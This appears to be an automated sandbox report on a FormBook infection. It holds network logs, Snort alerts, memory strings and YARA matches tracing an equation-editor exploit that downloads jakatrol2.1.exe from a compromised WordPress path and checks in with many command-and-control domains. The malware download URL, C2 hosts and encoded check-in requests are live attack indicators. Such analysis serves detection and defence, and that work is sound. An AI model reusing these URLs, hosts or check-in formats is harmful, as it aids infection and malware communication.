Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80

Source: global traffic	DNS query: name: mail.treeoflifeadventures.com
Source: global traffic	DNS query: name: www.narrativepages.com
Source: global traffic	DNS query: name: www.credit-cards-16215.bond
Source: global traffic	DNS query: name: www.luxpsy.com
Source: global traffic	DNS query: name: www.sxchenggu.com
Source: global traffic	DNS query: name: www.centralngs.com
Source: global traffic	DNS query: name: www.west-paws.com
Source: global traffic	DNS query: name: www.pj69vip12.cyou
Source: global traffic	DNS query: name: www.miamirealestatecommercial.com

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 4x nop then pop edi		7_2_00417D74
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 4x nop then pop edi		10_2_000D7D74

Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 103.224.212.212:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.195.240.19:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 38.11.36.68:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 3.33.130.190:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 34.149.87.45:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 206.188.193.211:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 206.188.193.211:80

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 103.224.212.212 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 206.188.193.211 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.credit-cards-16215.bond
Source: C:\Windows\explorer.exe	Domain query: www.luxpsy.com
Source: C:\Windows\explorer.exe	Domain query: www.centralngs.com
Source: C:\Windows\explorer.exe	Domain query: www.west-paws.com
Source: C:\Windows\explorer.exe	Domain query: www.miamirealestatecommercial.com
Source: C:\Windows\explorer.exe	Network Connect: 91.195.240.19 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.sxchenggu.com
Source: C:\Windows\explorer.exe	Network Connect: 38.11.36.68 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.narrativepages.com
Source: C:\Windows\explorer.exe	Domain query: www.pj69vip12.cyou
Source: C:\Windows\explorer.exe	Network Connect: 34.149.87.45 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 3.33.130.190 80	Jump to behavior

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2021697 ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious 192.168.2.22:49162 -> 41.185.64.155:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49164 -> 103.224.212.212:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49166 -> 91.195.240.19:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49167 -> 38.11.36.68:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49168 -> 3.33.130.190:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49169 -> 34.149.87.45:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.fakeittilyoumakeitfinance.com/ge06/

Source: global traffic	HTTP traffic detected: GET /ge06/?6l58L2=/ya+08xkyOEL3z3mbFI+CcZs6Ll5ZIz+eS70dlN8tW9HOdaiVOhFBqrIR4wo06Sw4yKSnA==&BL3=KP-PB41 HTTP/1.1Host: www.narrativepages.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ge06/?6l58L2=rR7wD3U/ZV6dBjvSlK9KatPYfQs2u0cQXMzY4PO5wsCIJRW7frAjgDUNgmxBJMGJ1YneTQ==&BL3=KP-PB41 HTTP/1.1Host: www.luxpsy.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ge06/?6l58L2=0+Pk4QqMeOZthSuOlE3hLercqAjKj7AZkI6NQZ8fzlVSI648NH9aZsaxoIAU5h7921vkYw==&BL3=KP-PB41 HTTP/1.1Host: www.sxchenggu.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ge06/?6l58L2=STnFDs3dPiWe372IPmsYuoiBxbI3LvhJSNAXi8QejK8uEGpyoTWx2uWpsN+kECUfI/d5Qw==&BL3=KP-PB41 HTTP/1.1Host: www.centralngs.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ge06/?6l58L2=0AfOVuqZSJfRN5GiS/+VmpnTwyRml/2OLwKSVYenXKtwNMi61Jg0OdgGHf2AFfl8gIxxQw==&BL3=KP-PB41 HTTP/1.1Host: www.west-paws.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ge06/?6l58L2=gDpd64bE+Gog2Ub9xNP+FcNZgu7s+BOO8oofSDr/EnD0mt4NGRW6zjQQOpU+sZp484vtJQ==&BL3=KP-PB41 HTTP/1.1Host: www.miamirealestatecommercial.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ge06/?6l58L2=gDpd64bE+Gog2Ub9xNP+FcNZgu7s+BOO8oofSDr/EnD0mt4NGRW6zjQQOpU+sZp484vtJQ==&BL3=KP-PB41 HTTP/1.1Host: www.miamirealestatecommercial.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: global traffic

HTTP traffic detected: GET /wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/jakatrol2.1.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: mail.treeoflifeadventures.comConnection: Keep-Alive

Source: Joe Sandbox View	ASN Name: GridhostZA GridhostZA
Source: Joe Sandbox View	ASN Name: TRELLIAN-AS-APTrellianPtyLimitedAU TRELLIAN-AS-APTrellianPtyLimitedAU

Source: Joe Sandbox View

IP Address: 41.185.64.155 41.185.64.155

Source: explorer.exe, 00000008.00000002.851097210.0000000008BFF000.00000004.80000000.00040000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.850024421.00000000029EF000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://img.sedoparking.com
Source: explorer.exe, 00000008.00000000.412690106.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.849552627.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://java.sun.com
Source: EQNEDT32.EXE, 00000002.00000002.412473279.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mail.treeoflifeadventures.com/wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shel
Source: word.exe, word.exe, 00000005.00000000.409599934.0000000000409000.00000008.00000001.01000000.00000004.sdmp, word.exe, 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmp, word.exe.2.dr, jakatrol2.1[1].exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: word.exe, 00000005.00000000.409599934.0000000000409000.00000008.00000001.01000000.00000004.sdmp, word.exe, 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmp, word.exe.2.dr, jakatrol2.1[1].exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: explorer.exe, 00000008.00000000.412690106.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.849552627.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.bowllywood.com
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.bowllywood.com/ge06/
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.bowllywood.com/ge06/www.moderco.net
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.bowllywood.comReferer:
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.bulgarianarchive.com
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.bulgarianarchive.com/ge06/
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.bulgarianarchive.com/ge06/www.hndswicco.best
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.bulgarianarchive.comReferer:
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.centralngs.com
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.centralngs.com/ge06/
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.centralngs.com/ge06/www.west-paws.com
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.centralngs.comReferer:
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.credit-cards-16215.bond
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.credit-cards-16215.bond/ge06/
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.credit-cards-16215.bond/ge06/www.versebuild.xyz
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.credit-cards-16215.bondReferer:
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.daqtpt.cfd
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.daqtpt.cfd/ge06/
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.daqtpt.cfd/ge06/www.ecoboat.world
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.daqtpt.cfdReferer:
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ecoboat.world
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ecoboat.world/ge06/
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ecoboat.world/ge06/www.bulgarianarchive.com
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ecoboat.worldReferer:
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.fakeittilyoumakeitfinance.com
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.fakeittilyoumakeitfinance.com/ge06/
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.fakeittilyoumakeitfinance.comReferer:
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hndswicco.best
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hndswicco.best/ge06/
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hndswicco.best/ge06/www.fakeittilyoumakeitfinance.com
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hndswicco.bestReferer:
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.luxpsy.com
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.luxpsy.com/ge06/
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.luxpsy.com/ge06/www.sxchenggu.com
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.luxpsy.comReferer:
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.miamirealestatecommercial.com
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.miamirealestatecommercial.com/ge06/
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.miamirealestatecommercial.com/ge06/www.bowllywood.com
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.miamirealestatecommercial.comReferer:
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.moderco.net
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.moderco.net/ge06/
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.moderco.net/ge06/www.daqtpt.cfd
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.moderco.netReferer:
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.narrativepages.com
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.narrativepages.com/ge06/
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.narrativepages.com/ge06/www.credit-cards-16215.bond
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.narrativepages.comReferer:
Source: explorer.exe, 00000008.00000000.413347575.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.849943461.000000000260D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.413067200.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.413884279.00000000074B9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.850716518.00000000074B9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.413347575.0000000003E9C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.850269711.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.413884279.0000000007517000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.850269711.0000000003E9C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 00000008.00000000.413347575.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.849943461.000000000260D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.413067200.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.413884279.00000000074B9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.850716518.00000000074B9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.413347575.0000000003E9C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.850269711.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.413884279.0000000007517000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.850269711.0000000003E9C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000008.00000002.849943461.000000000260D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.413067200.000000000260E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerxe
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.pj69vip12.cyou
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.pj69vip12.cyou/ge06/
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.pj69vip12.cyou/ge06/www.miamirealestatecommercial.com
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.pj69vip12.cyouReferer:
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.sxchenggu.com
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.sxchenggu.com/ge06/
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.sxchenggu.com/ge06/www.centralngs.com
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.sxchenggu.comReferer:
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.versebuild.xyz
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.versebuild.xyz/ge06/
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.versebuild.xyz/ge06/www.luxpsy.com
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.versebuild.xyzReferer:
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.west-paws.com
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.west-paws.com/ge06/
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.west-paws.com/ge06/www.pj69vip12.cyou
Source: explorer.exe, 00000008.00000002.850716518.0000000007517000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.west-paws.comReferer:
Source: explorer.exe, 00000008.00000002.851097210.0000000008BFF000.00000004.80000000.00040000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.850024421.00000000029EF000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://img.sedoparking.com/templates/images/hero_nc.svg
Source: explorer.exe, 00000008.00000000.412690106.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.849552627.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: explorer.exe, 00000008.00000000.412690106.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.849552627.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 00000008.00000000.412690106.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.849552627.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes
Source: explorer.exe, 00000008.00000002.851097210.0000000008BFF000.00000004.80000000.00040000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.850024421.00000000029EF000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.namecheap.com/domains/registration/results/?domain=luxpsy.com
Source: chkdsk.exe, 0000000A.00000002.850024421.00000000029EF000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.sedo.com/services/parking.php3

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\jakatrol2.1[1].exe

Jump to behavior

Source: unknown

DNS traffic detected: queries for: mail.treeoflifeadventures.com

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_036BB92B LoadLibraryW,URLDownloadToFileW,

2_2_036BB92B

Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/jakatrol2.1.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: mail.treeoflifeadventures.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ge06/?6l58L2=/ya+08xkyOEL3z3mbFI+CcZs6Ll5ZIz+eS70dlN8tW9HOdaiVOhFBqrIR4wo06Sw4yKSnA==&BL3=KP-PB41 HTTP/1.1Host: www.narrativepages.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ge06/?6l58L2=rR7wD3U/ZV6dBjvSlK9KatPYfQs2u0cQXMzY4PO5wsCIJRW7frAjgDUNgmxBJMGJ1YneTQ==&BL3=KP-PB41 HTTP/1.1Host: www.luxpsy.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ge06/?6l58L2=0+Pk4QqMeOZthSuOlE3hLercqAjKj7AZkI6NQZ8fzlVSI648NH9aZsaxoIAU5h7921vkYw==&BL3=KP-PB41 HTTP/1.1Host: www.sxchenggu.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ge06/?6l58L2=STnFDs3dPiWe372IPmsYuoiBxbI3LvhJSNAXi8QejK8uEGpyoTWx2uWpsN+kECUfI/d5Qw==&BL3=KP-PB41 HTTP/1.1Host: www.centralngs.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ge06/?6l58L2=0AfOVuqZSJfRN5GiS/+VmpnTwyRml/2OLwKSVYenXKtwNMi61Jg0OdgGHf2AFfl8gIxxQw==&BL3=KP-PB41 HTTP/1.1Host: www.west-paws.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ge06/?6l58L2=gDpd64bE+Gog2Ub9xNP+FcNZgu7s+BOO8oofSDr/EnD0mt4NGRW6zjQQOpU+sZp484vtJQ==&BL3=KP-PB41 HTTP/1.1Host: www.miamirealestatecommercial.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ge06/?6l58L2=gDpd64bE+Gog2Ub9xNP+FcNZgu7s+BOO8oofSDr/EnD0mt4NGRW6zjQQOpU+sZp484vtJQ==&BL3=KP-PB41 HTTP/1.1Host: www.miamirealestatecommercial.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Tue, 14 Nov 2023 12:28:45 GMTContent-Type: text/htmlContent-Length: 150Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>

Source: C:\Users\user\AppData\Roaming\word.exe

Code function: 5_2_00404FC2 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

5_2_00404FC2

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 7.2.oktuxvhtsq.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.oktuxvhtsq.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.oktuxvhtsq.exe.260000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.oktuxvhtsq.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
